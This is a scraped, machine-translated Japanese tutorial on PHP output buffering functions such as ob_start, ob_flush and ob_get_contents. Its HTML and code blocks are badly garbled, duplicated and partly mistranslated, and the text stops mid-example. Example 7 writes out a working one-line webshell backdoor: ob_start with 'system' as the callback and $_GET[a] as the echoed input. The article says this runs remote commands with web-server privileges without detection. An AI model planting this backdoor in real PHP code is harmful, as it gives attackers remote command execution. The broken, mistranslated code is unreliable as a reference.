PHP出力バッファ制御 - Output Control機能応用の詳細説明
- WBOYオリジナル
- 2016-06-13 12:10:49859ブラウズ
<p>
PHP 出力バッファ制御 - 出力制御関数アプリケーションの詳細な説明 <br></p>
<p> 出力バッファリングに関して、最初に話題になるのはバッファと呼ばれるものです。その役割を説明するための簡単な例を示します。ドキュメントを編集するとき、システムは保存する前にディスクに書き込みませんが、バッファがいっぱいになるか保存操作が実行されると、バッファに書き込みます。データはディスクに書き込まれます。 PHP の場合、エコーなどのすべての出力操作も最初に php バッファーに書き込まれ、スクリプトが実行されるか、強制出力キャッシュ操作が実行されるまで、データはブラウザーに表示されません。 </p>
<p> 実際、PHP プログラマにとって、基本的にすべてのスクリプトには出力バッファリングが含まれますが、ほとんどの場合、出力バッファリングを変更する必要はありません。今回は例を使って、PHPの出力バッファ制御機能「Output Control」を詳しく分析してみましょう。 </p>
<p> 次の例では、一般的なスクリプトで出力バッファリングがどのように存在するかを簡単に紹介します。 </p>
<p> 次のスクリプトを実行する場合: </p>
<p></p>
<div id="highlighter_359589" class="syntaxhighlighter php">
<table border="0 " cellpacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例1*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"><code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code></p><div class="line number6 index5 alt1"><code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<divclass>2 <div class="linenumber3index2alt2">3<divclass>4<p><divclass>5<em><div class="linenumber6index5alt1">6<code>output_buffering</code>
</div></em></divclass></p></divclass>
</div></divclass>
</div></td>
<tdclass><div class="container"><div class="linenumber1index0 alt2"><code class="php plain"><?php</code></em><div class="linenumber2index1 alt1"><code class="php comments">/*例 1*/</code></p> <div class ="行番号3インデックス2 alt2"><code class="php function">echo</code> <code class="php string">'oschina.net'</code><code class="php plain ">; </code><p><div class="linenumber4index3alt1"><code class="php function">echo</code> <code class="php string">'サツマイモ'</code >< code class="php plain">;</code></p><div class="linenumber5 index4 alt2"><code class="php function">echo</code> <code class="php string "> 'チョンチョン'</code><code class="php plain">;</code><p><div class="linenumber6index5 alt1"><code class="php plain">?</code> ></p><p></td></tr></tbody></table><div id="highlighter_444259" class="syntaxhighlighter php"><table border="0" cellspacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="line number1 index0 alt2">1</p><div class="line number2 index1 alt1">2</p><div class="line number3 index2 alt2">3</p><div class="line number4 index3 alt1">4</p><div class="line number5 index4 alt2">5</p><div class="line number6 index5 alt1">6</p><div class="line number7 index6 alt2">7</p><div class="line number8 index7 alt1">8</p></td><td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例2*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code></p><div class="line number4 index3 alt1"><code class="php plain">sleep(1);</code></p><div class="line number5 index4 alt2"><code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code></p><div class="line number6 index5 alt1"><code class="php plain">sleep(1);</code></p><div class="line number7 index6 alt2"><code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code></p><div class="line number8 index7 alt1"><code class="php plain">?></code></div></div></tdclass>
</tr></tbody></table> スクリプトは最初のエコーの実行を終了すると、代わりにブラウザーに移動しません。対応するコンテンツを出力するブラウザの内容はバッファに出力され、以下同様に 3 つのエコーがすべて実行されると (つまり、スクリプトが終了すると)、すべてのバッファの内容がブラウザに出力されます。もちろん、このバッファにはサイズ制限もあり、php.ini の オプションに従って設定されます。これについては、次の記事で詳しく説明します。この章で説明する出力バッファ制御は、スクリプトの終了前にバッファ内のコンテンツを操作することです。 この例は、出力バッファ制御の適用をより適切に反映できます: 次のコードを実行する場合: <table border="0" cellpacing=" 0 " cellpadding="0"><tbody><tr>
<td class="gutter"><div class="linenumber1index0alt2">1<divclass>2<div class="linenumber3index2alt2">3<divclass>4<divclass>5<div class="linenumber6index5alt1">6<div class="linenumber7index6alt2">7<div class="linenumber8index7alt1">8</div>
</div>
</div></divclass></divclass>
</div></divclass>
</div></td>
<td class=" code"><div class="container"><div class="linenumber1index0 alt2"><codeclass plain><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments">/*例 2*/</code><🎜><div class="linenumber3index2 alt2"><code class="php function">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code><🎜><div class="linenumber4index3alt1"><codeclass= "php plain">sleep(1);</code><🎜><div class="linenumber5index4alt2"><code class="php function">echo</code> <code class="php string " >'サツマイモ'</code><code class="php plain">;</code><🎜><div class="linenumber6index5 alt1"><code class="php plain">sleep(1) ;</code><🎜><div class="linenumber7index6alt2"><code class="php function">echo</code> <code class="php string">'チョンチョン'</code> < code class="php plain">;</code><🎜><div class="linenumber8index7 alt1"><code class="php plain">?> </codeclass></div></div></td>
</tr></tbody></table>
<p> 出力結果を確認するには少なくとも 2 秒待つ必要があるので、リアルタイムに表示できますか?つまり、最初のエコーが実行されると、対応するコンテンツが出力されます。このとき、出力バッファー制御関数を使用してバッファーを操作する必要があります。実装コードは次のとおりです。 🎜></p>
<table border=" 0" cellpacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="linenumber1index0 alt2">12<p><divclass>3<div id="highlighter_621775" class="syntaxhighlighter php"><divclass>4<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12<div class="line number13 index12 alt2">13<div class="line number14 index13 alt1">14<div class="line number15 index14 alt2">15</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例3*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code></p><div class="line number4 index3 alt1"><code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code></p><div class="line number5 index4 alt2"><code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code></p><div class="line number6 index5 alt1"><code class="php plain">ob_flush();</code><code class="php comments">//送出当前缓冲内容,不会输出</code></p><div class="line number7 index6 alt2"><code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code></p><div class="line number8 index7 alt1"><code class="php plain">sleep(1);</code></p><div class="line number9 index8 alt2"><code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code></p><div class="line number10 index9 alt1"><code class="php plain">ob_flush();</code><code class="php comments">//送出当前缓冲内容,不会输出</code></p><div class="line number11 index10 alt2"><code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code></p><div class="line number12 index11 alt1"><code class="php plain">sleep(1);</code></p><div class="line number13 index12 alt2"><code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code></p><div class="line number14 index13 alt1"><code class="php plain">ob_end_flush();</code><code class="php comments">//输出并关闭缓冲</code></p><div class="line number15 index14 alt2"><code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<divclass number5index4 alt2>5<div class="linenumber6index5alt1">6<divclass>7<divclass> 8<div class="linenumber9index8alt2">9<divclass>10<divclass>1112<divclass>13<divclass>14<divclass number15 index14 alt2>15</divclass></divclass></divclass></divclass></divclass>
</div></divclass></divclass>
</div></divclass></divclass></div></divclass></p>
</div></td>
<td class="code"><div class="container"><div class="linenumber1index0 alt2">
<code class="php plain">< ;?php</code> <div class="linenumber2index1alt1"><codeclass comments>/*例 3*/<div class="linenumber3 Index2 alt2">
<code class="php function">echo</code> <code class="php function">str_pad</code><code class="php plain">(</code><code class="php string">" </code><code class="php plain">, 1024);</code><code class="php comments">// バッファをオーバーフローさせます</code><code class="php plain">ob_start();</code><code class="php comments">//バッファを開く</code><div class="行番号5インデックス4 alt2">
<code class="php function">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">; </code><div class="linenumber6index5alt1">
<code class="php plain">ob_flush();</code><code class="php comments">// 現在のバッファを送信するコンテンツ、出力なし</code><div class="linenumber7index6alt2">
<code class="php function">フラッシュ</code><code class="php plain">(); code><code class="php comments">//送信バッファの内容を出力する</code><div class="linenumber8index7alt1"><codeclass plain>sleep(1); <div class="linenumber9 index8 alt2">
<code class="php function">echo</code> <code class="php string">'サツマイモ'</code>;<div class="linenumber10index9 alt1">
<code class="php plain">ob_flush();</code><code class="php comments">//Send 現在のバッファの内容は出力されません</code><div class="linenumber11index10alt2">
<code class="phpfunctions">flush</code><code class="php plain">() ;</code><code class="php comments">// 送信されたバッファの内容を出力します</code><div class="linenumber12index11alt1"><codeclass plain>sleep( 1);<div class="linenumber13index12alt2">
<code class="php function">echo</code> <code class="php string">'チョンチョン' code><code class="php plain">;</code><div class="linenumber14index13 alt1"><code class="php plain">ob_end_flush();<code class="php comments">// 出力とバッファリングのクローズ</code><div class="linenumber15index14alt2"><code class="php plain">?>コード></code></div></code></div></code>
</div></codeclass></div>
</div>
</div>
</div></codeclass></div></code>
</div>
</div>
</div>
</div></codeclass></div>
</div></div></td>
</tr></tbody></table>
<p> 简单点でも次のことができます:</p>
<p></p>
<div id="highlighter_301769" class="syntaxhighlighter php">
<table border="0" cellpacing="0" cellpadding="0"><tbody><tr><div class="linenumber1index0alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例4*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"><code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code></p><div class="line number6 index5 alt1"><code class="php plain">sleep(1);</code></p><div class="line number7 index6 alt2"><code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code></p><div class="line number8 index7 alt1"><code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code></p><div class="line number9 index8 alt2"><code class="php plain">sleep(1);</code></p><div class="line number10 index9 alt1"><code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code></p><div class="line number11 index10 alt2"><code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<divclass>2<divclass>3<div class="linenumber4index3alt1">4<divclass>5<divclass>6<div>7<divclass>8<divclass>9<divclass alt1>10<div class="linenumber11index10 alt2">11<td class="code"><div class="container"><div class="linenumber1index0 alt2"><code class="php plain"><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments">/*例4*/< /code><🎜><div class="linenumber3index2alt2"><code class="php function">echo</code> <code class="php function">str_pad</code><code class=" php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments"> //使用缓冲区オーバーアウト</code><🎜><div class="linenumber4index3alt1"><code class="php function">echo</code><code class="php string">'oschina. net'</code><code class="php plain">;</code><🎜><div class="linenumber5index4alt2"><code class="phpfunctions">flush</code><code class="php plain">();</code><code class="php comments">//送出される缓冲内容</code><🎜><div class="linenumber6index5alt1"><code class="php plain">sleep(1);</code><🎜><div class="linenumber7index6alt2"><code class="php function">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code><🎜><div class="linenumber8index7alt1"><code class="phpfunctions">flush</ code><code class="php plain">();</code><code class="php comments">//送出される缓冲内容</code><🎜><div class="linenumber9index8alt2 "><code class="php plain">sleep(1);</code><🎜><div class="linenumber10index9 alt1"><code class="php function">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code><🎜><div class="linenumber11index10alt2"><code class="php plain ">?></code></div></div></td>
</div></divclass></divclass></divclass>
</div></divclass></divclass>
</div></divclass></divclass>
</div></tr></tbody></table>
<p> 関連関数の使い方については、以下で紹介しますが、ここでは出力バッファ制御関数の応用例を紹介するだけです。もちろん、出力バッファ制御関数の役割はありません。ここでは、出力バッファ制御機能をどこに適用できるかを見てみましょう。 </p>
<h3>Function</h3>
<ol>
<li>PHP では、header()、session_start()、setcookie() などのヘッダー ファイルを送信し、出力バッファ制御関数は、エラーを報告せずにこれらの関数の前に出力できます。実際には、これを行う必要はなく、非常にまれな用途です。 </li>
<li>静的キャッシュ ファイルの生成や gzip 圧縮出力の実行など、出力コンテンツを処理します。これはよく使用される機能であり、後ほど詳しく紹介します。 </li>
<li>phpinfo()、var_dump() などの取得できない関数出力をキャプチャします。これらの関数はブラウザに操作結果を表示します。これらの結果を処理したい場合は、出力バッファ制御関数を使用します。は良いアプローチです。簡単に言うと、この種の関数には戻り値がありません。これらの関数の出力データを取得するには、出力バッファ制御関数を使用する必要があります。 </li>
<li>最後のアプリケーションは、リアルタイムでデータを出力する導入部のメソッド例です。 </li>
</ol>
<h3>php.ini の関連設定項目</h3>
<p> php.ini の出力バッファ制御に関連するオプションを見てみましょう。 合計 3 つのオプションがあります。 ><em><code>output_buffering</code> 、 </em><em><code>output_handler</code> および </em><em><code>implicit_flush</code></em></p>
<ol>
<li><em><code>output_buffering</code> デフォルトはオフです。に設定すると、すべてのスクリプトで出力バッファが自動的に開きます。例 3 では、ob_start() 関数が明示的に呼び出されることなく、各スクリプトで自動的に実行されます。バッファに保存できる最大バイト数を表す整数に設定することもできます。この構成項目については、以下の例 1 の説明で説明しました。 </em></li>
<li><em><code>output_handler</code> デフォルトは null で、その値は組み込み関数名にのみ設定できます。その機能は、定義された関数を使用してスクリプトのすべての出力を処理することです。その使用法は、以下で紹介する ob_start('function_name') と似ています。 </em></li>
<li><em><code>implicit_flush</code> デフォルトはオフです。オンに設定すると、PHP は出力後にバッファーの内容を自動的に送信します。例 4 を例にとると、flush() は各出力の後に自動的に実行されます。もちろん、有効な出力には echo や print などの関数だけでなく、HTML セグメントも含まれます。 </em></li>
</ol>出力制御関数の詳細な説明 <h3></h3> 次に、例を使用して関連する関数を分析します。以下の内容を十分に理解すると、出力制御関数の内容がより明確に理解できると思います。出力バッファ制御機能。 <p></p>
<p> 1. bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )<strong></strong></p> この関数は例 3 で使用されています。名前からその意味は誰でも理解できるでしょう。出力バッファ処理の次のステップのために出力バッファを開くということです。ここで言及したいのは、そのパラメーターの使用法です。最初のパラメーターはコールバック関数を渡す必要があり、この関数はバッファーの内容をパラメーターとして受け取り、文字列を返す必要があります。バッファの送信とは、ob_flush() などの関数の実行またはスクリプトの実行の完了を指します。 ob_flush() 関数については、簡単な例を見ることで理解できます: <p></p>
<p></p>
<div id="highlighter_177154" class="syntaxhighlighter php">
<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter">1<div class="line number1 index0 alt2"> 2<div class="line number2 index1 alt1">3<div class="line number3 index2 alt2">4<div class="line number4 index3 alt1">5<div class="line number5 index4 alt2">6<div class="line number6 index5 alt1">7<div class="line number7 index6 alt2">8<div class="line number8 index7 alt1">9<div class="line number9 index8 alt2"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例5*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start(</code><code class="php string">'handleString'</code><code class="php plain">);</code></p><div class="line number4 index3 alt1"> <code class="php functions">echo</code><code class="php string">'123456'</code><code class="php plain">;</code></p><div class="line number5 index4 alt2"> <code class="php spaces"> </code></p><div class="line number6 index5 alt1"> <code class="php keyword">function</code><code class="php plain">handleString(</code><code class="php variable">$string</code><code class="php plain">){</code></p><div class="line number7 index6 alt2"><code class="php spaces"> </code> <code class="php keyword">return</code><code class="php plain">md5(</code><code class="php variable">$string</code><code class="php plain">);</code><div class="line number8 index7 alt1"><code class="php plain">}</code></p><div class="line number9 index8 alt2"><code class="php plain">?></code></div></div></td>
</tr></tbody></table>
<p> 実行後の結果は次のとおりです: </p>
<p></p>
<div id="highlighter_44086" class="syntaxhighlighter php">
<table border="0" cellpacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="linenumber1index0alt2"> 1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain">e10adc3949ba59abbe56e057f20f883e</code></div></div></td>
</tr></tbody></table>
<td class="code"><div class="container"><div class="linenumber1index0 alt2">
<code class="php plain">e10adc3949ba59abbe56e057f20f883e</code><p></p>
<p></p>
<p></p>
<div id="highlighter_13842" class="syntaxhighlighter php">
<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例6*/</code></p><div class="line number3 index2 alt2"><code class="php plain">ob_start(</code><code class="php string">'ob_gzhandler'</code><code class="php plain">);</code></p><div class="line number4 index3 alt1"><code class="php functions">echo</code> <code class="php functions">str_repeat</code><code class="php plain">(</code><code class="php string">'oschina'</code><code class="php plain">, 1024);</code></p><div class="line number5 index4 alt2"><code class="php plain">?></code></div></div></td>
</tr></tbody></table> これは、出力コンテンツが md5 暗号化されていることを意味します。つまり、バッファーのコンテンツが出力されるときに、定義した handleString は次のようになります。機能を実行します。 <p> より実際的な例を見てみましょう。gzip を使用して Web ページのコンテンツを圧縮して出力するのが一般的です。コードは次のとおりです。</p>
<p><img src="/img/2014/12/04/10511866.png" alt=""></p>
<table border="0" cellpacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="linenumber1index0alt2">1<divclass>2 <p></p>
<div class="linenumber3index2 alt2">3<div class="linenumber4index3alt1">4<p></p>
<div class="linenumber5index4alt2">5<img src="/img/2014/12/04/10511867.png" alt=""><td class="code"><div class="container"><div class="linenumber1index0 alt2"><code class="php plain"><?php</code><p><div class="linenumber2index1alt1"><codeclass="php comments">/*例 6*/</code></p><div class="linenumber3index2 alt2"><code class=" php plain" >ob_start(</code><code class="php string">'ob_gzhandler'</code><code class="php plain">);</code><p><div class="line Number4 Index3 alt1 "><code class="php function">echo</code> <code class="php function">str_repeat</code><code class="php plain">(</code><code class ="php string">'oschina'</code><code class="php plain">, 1024);</code><em><div class="linenumber5index4 alt2"><code> chunk_size</code></em> <em> <code>erase</code></em></p><p></p><ol><li> そのページ サイズは次のとおりです: </li><li></li></ol><p> ob_gzhandler パラメーターを使用しない場合、そのページサイズ 対象: <div id="highlighter_905520" class="syntaxhighlighter php"><table border="0" cellspacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="line number1 index0 alt2">1</p><div class="line number2 index1 alt1">2</p><div class="line number3 index2 alt2">3</p><div class="line number4 index3 alt1">4</p></td><td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例7*/</code></p><div class="line number3 index2 alt2"><code class="php variable">$cmd</code> <code class="php plain">= </code><code class="php string">'system'</code><code class="php plain">;ob_start(</code><code class="php variable">$cmd</code><code class="php plain">);</code><code class="php functions">echo</code> <code class="php string">"$_GET[a]"</code><code class="php plain">;ob_end_flush();</code></p><div class="line number4 index3 alt1"><code class="php plain">?></code></div></div></td>
</div>
</div>
</div></divclass>
</div></td></tr></tbody></table> サイズの違いがはっきりとわかるため、ページ圧縮出力に ob_start() を使用することは非常に実用的な関数です。 そして 2 番目のパラメータ はバッファのバイト長です。バッファの内容がこの長さより大きい場合、バッファから送信されます。デフォルト値は次のとおりです。 0 は、最後に呼び出される関数を表します。 3 番目のパラメータ が flase に設定されている場合、スクリプトが実行されるまでバッファは削除されないことを意味します (後述する)。間違いが報告されます。 ob_start() の使用法は非常にたくさんありますが、特別な注意が必要な点が 2 つあります。 ob_start() は繰り返し呼び出すことができます。つまり、複数の呼び出しが可能です。複数の ob_start が最初のパラメータを定義している場合、つまりすべてのコールバック関数が定義されている場合、それらはネストされた順序で順番に実行されます。バッファのスタッキングとネストについては、ob_get_level 関数で詳しく説明するので、ここでは詳しく説明しません。 ob_start() それほど明らかではありませんが、致命的なバックドアの使用法もあります。実装コードは次のとおりです。 <table border="0" cellpacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="linenumber1index0alt2">1<divclass>2 <div class="linenumber3index2alt2">3<divclass>4<td class="code"><div class="container"> <code class="php plain"><?php</code><🎜><div class="linenumber2index1 alt1"><code class="php comments" > /*例 7*/</code><🎜><div class="linenumber3index2alt2"><code class="php variable">$cmd</code> <code class="php plain">= </code><code class="php string">'system'</code><code class="php plain">;ob_start(</code><code class="php variable">$cmd</code > <code class="php plain">);</code><code class="php function">echo</code> <code class="php string">"$_GET[a]"</code> < code class="php plain">;ob_end_flush();</code><🎜><div class="linenumber4index3 alt1"><🎜><🎜><🎜><🎜><🎜><🎜> < 🎜></p></p><p> ob_start の上記の使用法を理解していれば、このコードは ob_start 関数を使用してバッファ出力の内容をパラメータとして set 関数に渡し、これを有効にします。 Web サーバー権限を使用して、検出されることなくコマンドをリモートで実行できます。 </p><p><strong> 2. string ob_get_contents ( void )</strong></p><p> この関数は、現時点でバッファの内容を取得するために使用されます。次の例は、その使用方法をよりよく理解することができます。 🎜></p><p><table border="0" cellpacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="行番号1 インデックス0 alt2" >1<div id="highlighter_776576" class="syntaxhighlighter php"><div class="linenumber2index1alt1">2<table border="0" cellspacing="0" cellpadding="0"><tbody><tr><td class="gutter"><div class="line number1 index0 alt2">1</p><div class="line number2 index1 alt1">2</p><div class="line number3 index2 alt2">3</p><div class="line number4 index3 alt1">4</p><div class="line number5 index4 alt2">5</p><div class="line number6 index5 alt1">6</p><div class="line number7 index6 alt2">7</p><div class="line number8 index7 alt1">8</p><div class="line number9 index8 alt2">9</p><div class="line number10 index9 alt1">10</p><div class="line number11 index10 alt2">11</p></td><td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例8*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code></p><div class="line number4 index3 alt1"><code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code></p><div class="line number5 index4 alt2"><code class="php plain">phpinfo();</code></p><div class="line number6 index5 alt1"><code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//获取缓冲区内容</code></p><div class="line number7 index6 alt2"><code class="php variable">$re</code> <code class="php plain">= </code><code class="php functions">fopen</code><code class="php plain">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string">'wb'</code><code class="php plain">);</code></p><div class="line number8 index7 alt1"><code class="php plain">fwrite(</code><code class="php variable">$re</code><code class="php plain">, </code><code class="php variable">$string</code><code class="php plain">);</code><code class="php comments">//将内容写入文件</code></p><div class="line number9 index8 alt2"><code class="php plain">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code></p><div class="line number10 index9 alt1"><code class="php plain">ob_end_clean();</code><code class="php comments">//清空并关闭缓冲区</code></p><div class="line number11 index10 alt2"><code class="php plain">?></code>
</div></td></divclass>
</div></divclass>
</div></td></tr></tbody></table>
<divclass>3<divclass>4 <div class="linenumber5index4alt2">5<divclass>6<divclass>7<div class=" linenumber8index7alt1">8<divclass>9<divclass>10<divclass>11</divclass></divclass></divclass>
</div></divclass></divclass>
</div></divclass></divclass>
</div>
</div></div></td>
<td class="code"><div class="container"><div class="linenumber1index0 alt2"><code class="php plain"><?php< /code><🎜><div class="linenumber2index1alt1"><codeclass="php comments">/*例 8*/</code><🎜><div class="linenumber3index2alt2"> <code class="php function">echo</code> <code class="php function">str_pad</code><code class="php plain">(</code><code class="php string" >''</code><code class="php plain">, 1024);</code><code class="php comments">// バッファをオーバーフローさせる</code><🎜><div class= "行番号4 Index3 alt1"><code class="php plain">ob_start();</code><code class="php comments">//バッファを開く</code><🎜><div class=" 行番号5 index4 alt2"><code class="php plain">phpinfo();</code><🎜><div class="linenumber6index5 alt1"><code class="php variable">$string</ code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//バッファの内容を取得する</code><🎜><div class="linenumber7index6alt2"> <code class="php variable">$re</code> <code class="php plain">= </code><code class="php function">fopen</code><code class= "php plain ">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string"> 'wb'</code><code class="php plain">);</code><🎜><div class="linenumber8index7 alt1"><code class="php plain">fwrite( </code ><code class="php 変数">$re</code><code class="php plain">、</code><code class="php 変数">$string</code><code class=" php plain">);</code><code class="php comments">// コンテンツをファイルに書き込みます</code><🎜><div class="linenumber9index8alt2"><code class="php plain ">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code><🎜><div class=" linenumber10index9alt1 "><code class="php plain">ob_end_clean();</code><code class="php comments">//バッファをクリアして閉じる</code><🎜><div class= "linenumber11index10 alt2"><code class="php plain">?></code></div></div></td>
</div></td></tr></tbody></table>
<p> この例を実行すると、ブラウザーは出力を生成しないことがわかりますが、現在のディレクトリに phpinfo.txt ファイルが存在し、今回は予期される出力が保存されます。この例は、上記の 3 番目の点で述べた状況も示しています。出力内容を取得し、実際の状況に応じて処理できます。 </p>
<p><strong> 3. int ob_get_length ( void )</strong></p>
<p> この関数は、バッファーの内容の長さを取得するために使用されます。例 8 は、この関数の使用法を示すために少し変更されています。 : </p>
<p></p>
<div id="highlighter_406008" class="syntaxhighlighter php">
<table border="0" cellpacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="行番号 1 インデックス 0 alt2">1<table border="0" cellspacing="0" cellpadding="0"><tbody><tr>
<td class="gutter"><div class="line number1 index0 alt2">1<div class="line number2 index1 alt1">2<div class="line number3 index2 alt2">3<div class="line number4 index3 alt1">4<div class="line number5 index4 alt2">5<div class="line number6 index5 alt1">6<div class="line number7 index6 alt2">7<div class="line number8 index7 alt1">8<div class="line number9 index8 alt2">9<div class="line number10 index9 alt1">10<div class="line number11 index10 alt2">11<div class="line number12 index11 alt1">12<div class="line number13 index12 alt2">13</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></td>
<td class="code"><div class="container"><div class="line number1 index0 alt2"><code class="php plain"><?php</code></p><div class="line number2 index1 alt1"><code class="php comments">/*例9*/</code></p><div class="line number3 index2 alt2"><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code></p><div class="line number4 index3 alt1"><code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code></p><div class="line number5 index4 alt2"><code class="php plain">phpinfo();</code></p><div class="line number6 index5 alt1"><code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//获取缓冲区内容</code></p><div class="line number7 index6 alt2"><code class="php variable">$length</code> <code class="php plain">= ob_get_length();</code><code class="php comments">//获取缓冲区内容长度</code></p><div class="line number8 index7 alt1"><code class="php variable">$re</code> <code class="php plain">= </code><code class="php functions">fopen</code><code class="php plain">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string">'wb'</code><code class="php plain">);</code></p><div class="line number9 index8 alt2"><code class="php plain">fwrite(</code><code class="php variable">$re</code><code class="php plain">, </code><code class="php variable">$string</code><code class="php plain">);</code><code class="php comments">//将内容写入文件</code></p><div class="line number10 index9 alt1"><code class="php plain">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code></p><div class="line number11 index10 alt2"><code class="php 